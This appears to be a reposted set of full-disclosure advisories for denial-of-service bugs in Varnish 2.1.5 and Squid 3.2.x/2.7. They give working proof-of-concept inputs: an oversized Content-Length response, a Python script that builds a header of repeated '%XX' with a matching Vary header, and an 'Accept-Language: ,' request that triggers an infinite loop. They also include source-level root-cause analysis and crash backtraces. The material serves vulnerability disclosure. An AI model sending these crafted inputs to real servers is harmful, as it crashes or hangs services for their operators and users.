天天看点

Varnish 2.1.5 DoS in fetch_straight() while parsing Content-Length header

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89115">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89115</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89114">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89114</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89113">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89113</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89111">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89111</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89110">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89110</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89108">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89108</a>

<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89107">http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/89107</a>

###############################################

# fetch_straight()  |  ((uintmax_t)cl == cll) #

#

# Authors:

# 22733db72ab3ed94b5f8a1ffcde850251fe6f466

# c8e74ebd8392fda4788179f9a02bb49337638e7b

# AKAT-1

#######################################

# Versions: 2.1.5

# Summary

It is possible to crash (via assert) varnish child processes by sending invalid Content-Length reponse header.

* Panic message: Assert error in fetch_straight(), cache_fetch.c line 65:#012 Condition((uintmax_t)cl == cll) not true.

POC(response):

-- cut --

HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Content-Length: 99999999999999999

EOF

##############################################################

# httpMakeVaryMark() header value 'value' (http.cc:603 line) #

# Versions: 3.2.5

  It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:

  Request

  -- cut --

  #!/usr/bin/env python

  print 'GET /index.html HTTP/1.1'

  print 'Host: localhost'

  print 'X-HEADSHOT: ' + '%XX' * 19000

  print '\r\n\r\n'

  Response

  HTTP/1.1 200 OK

  Vary: X-HEADSHOT

  Code:

  In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is

  passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example

  percent signs. This mean that the single charachter in request is now triple in length

  (e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).

  This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert

  is invoked, which kills the child. When child is killed the Kid::stop() is called, which

  increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,

  then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main

  process of squid (parent) with the following message:

  "Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"

  src/http.cc:

  573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)

  574 {

  575     String vary, hdr;

  576     const char *pos = NULL;

  577     const char *item;

  578     const char *value;

  579     int ilen;

  580     static String vstr;

  581

  582     vstr.clean();

  583     vary = reply-&gt;header.getList(HDR_VARY);

  584

  585     while (strListGetItem(&amp;vary, ',', &amp;item, &amp;ilen, &amp;pos)) {

  586         char *name = (char *)xmalloc(ilen + 1);

  587         xstrncpy(name, item, ilen + 1);

  588         Tolower(name);

  589

  590         if (strcmp(name, "*") == 0) {

  591             /* Can not handle "Vary: *" withtout ETag support */

  592             safe_free(name);

  593             vstr.clean();

  594             break;

  595         }

  596

  597         strListAdd(&amp;vstr, name, ',');

  598         hdr = request-&gt;header.getByName(name);

  599         safe_free(name);

  600         value = hdr.termedBuf();

  601

  602         if (value) {

  603             value = rfc1738_escape_part(value);

  604             vstr.append("=\"", 2);

  605             vstr.append(value);

  606             vstr.append("\"", 1);

  607         }

  lib/rfc1738.c:

  143         /* Do the triplet encoding, or just copy the char */

  144         if (do_escape == 1) {

  145             (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);

  146             dst += sizeof(char) * 2;

  147         } else {

  148             *dst = *src;

  149         }

  src/String.cc:

  186 String::append( char const *str, int len)

  187 {

  188     assert(this);

  189     assert(str &amp;&amp; len &gt;= 0);

  190

  191     PROF_start(StringAppend);

  192     if (len_ + len &lt; size_) {

  193         strncat(buf_, str, len);

  194         len_ += len;

  195     } else {

  196         // Create a temporary string and absorb it later.

  197         String snew;

  198         assert(len_ + len &lt; 65536); // otherwise snew.len_ overflows below

  199         snew.len_ = len_ + len;

  200         snew.allocBuffer(snew.len_ + 1);

  201

  202         if (len_)

  203             memcpy(snew.buf_, rawBuf(), len_);

  204

  205         if (len)

  206             memcpy(snew.buf_ + len_, str, len);

  207

  208         snew.buf_[snew.len_] = '\0';

  209

  210         absorb(snew);

  211     }

  212     PROF_stop(StringAppend);

  213 }

  src/ipc/Kid.cc:

  46 /// called when kid terminates, sets exiting status

  47 void Kid::stop(status_type exitStatus)

  48 {

  49     assert(running());

  50     assert(startTime != 0);

  51

  52     isRunning = false;

  53

  54     time_t stop_time;

  55     time(&amp;stop_time);

  56     if ((stop_time - startTime) &lt; fastFailureTimeLimit)

  57         ++badFailures;

  58     else

  59         badFailures = 0; // the failures are not "frequent" [any more]

  60

  61     status = exitStatus;

  62 }

  70 /// returns true if master process should restart this kid

  71 bool Kid::shouldRestart() const

  72 {

  73     return !(running() ||

  74              exitedHappy() ||

  75              hopeless() ||

  76              shutting_down ||

  77              signaled(SIGKILL) || // squid -k kill

  78              signaled(SIGINT) || // unexpected forced shutdown

  79              signaled(SIGTERM)); // unexpected forced shutdown

  80 }

  src/ipc/Kid.h:

  23     /// keep restarting until the number of bad failures exceed this limit

  24     enum { badFailureLimit = 4 };

  25

  26     /// slower start failures are not "frequent enough" to be counted as "bad"

  27     enum { fastFailureTimeLimit = 10 }; // seconds

# BONUS POINT ;-) 

# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*

  #3  0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=&lt;optimized out&gt;) at malloc.c:6283

  #16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397

and 

  #3  0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=&lt;optimized out&gt;) at malloc.c:6283

  #9  0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397

  #3  0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=&lt;optimized out&gt;) at malloc.c:6283

  #9  0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397

#3 0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=&lt;optimized out&gt;) at malloc.c:6283

  #9  0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398

################################################################

# DoS (loop, 100% cpu) strHdrAcptLangGetItem() at errorpage.cc #

# Versions: 3.2.5, 3.2.7 

  This error is only triggered when squid needs to generate an error page (for example backend node is not responding etc...)

  POC (request):

  Accept-Language: ,

    strHdrAcptLangGetItem is called with pos equals 0, therefore first branch

    in if (316 line) is taken, because xisspace(hdr[pos]) is false, then pos++

    is not executed (because hdr[0] is ','). In 335 line statement in while is

    also false because hdr[0] = ',', so whole loop body is omited. dt = lang,

    thus after assignment in 353 line *lang == '\0', so expression in if

    statement in 357 line is false. So next execution of while body (314 line),

    has got same preconditions as previous, thus it's infinite loop.

   312  bool strHdrAcptLangGetItem(const String &amp;hdr, char *lang, int langLen, size_t &amp;pos)

   313  {

   314      while (pos &lt; hdr.size()) {

   315          char *dt = lang;

   316          if (!pos) {

   317              /* skip any initial whitespace. */

   318              while (pos &lt; hdr.size() &amp;&amp; xisspace(hdr[pos]))

   319                  ++pos;

   320          } else {

   321              // IFF we terminated the tag on whitespace or ';' we need to skip to the next ',' or end of header.

   322              while (pos &lt; hdr.size() &amp;&amp; hdr[pos] != ',')

   323                  ++pos;

   324              if (hdr[pos] == ',')

   325                  ++pos;

   326          }

   327          /*

   328           * Header value format:

   329           *  - sequence of whitespace delimited tags

   330           *  - each tag may suffix with ';'.* which we can ignore.

   331           *  - IFF a tag contains only two characters we can wildcard ANY translations matching: &lt;it&gt; '-'? .*

   332           *    with preference given to an exact match.

   333           */

   334          bool invalid_byte = false;

   335          while (pos &lt; hdr.size() &amp;&amp; hdr[pos] != ';' &amp;&amp; hdr[pos] != ',' &amp;&amp; !xisspace(hdr[pos]) &amp;&amp; dt &lt; (lang + (langLen -1)) ) {

   336              if (!invalid_byte) {

   337  #if USE_HTTP_VIOLATIONS

   338                  // if accepting violations we may as well accept some broken browsers

   339                  //  which may send us the right code, wrong ISO formatting.

   340                  if (hdr[pos] == '_')

   341                      *dt = '-';

   342                  else

   343  #endif

   344                      *dt = xtolower(hdr[pos]);

   345                  // valid codes only contain A-Z, hyphen (-) and *

   346                  if (*dt != '-' &amp;&amp; *dt != '*' &amp;&amp; (*dt &lt; 'a' || *dt &gt; 'z') )

   347                      invalid_byte = true;

   348                  else

   349                      ++dt; // move to next destination byte.

   350              }

   351              ++pos;

   352          }

   353          *dt = '\0'; // nul-terminated the filename content string before system use.

   354          ++dt;

   355          debugs(4, 9, HERE &lt;&lt; "STATE: dt='" &lt;&lt; dt &lt;&lt; "', lang='" &lt;&lt; lang &lt;&lt; "', pos=" &lt;&lt; pos &lt;&lt; ", buf='" &lt;&lt; ((pos &lt; hdr.size()) ? hdr.substr(pos,hdr.size()) : "") &lt;&lt; "'");

   356          /* if we found anything we might use, try it. */

   357          if (*lang != '\0' &amp;&amp; !invalid_byte)

   358              return true;

   359      }

   360      return false;

   361  }

继续阅读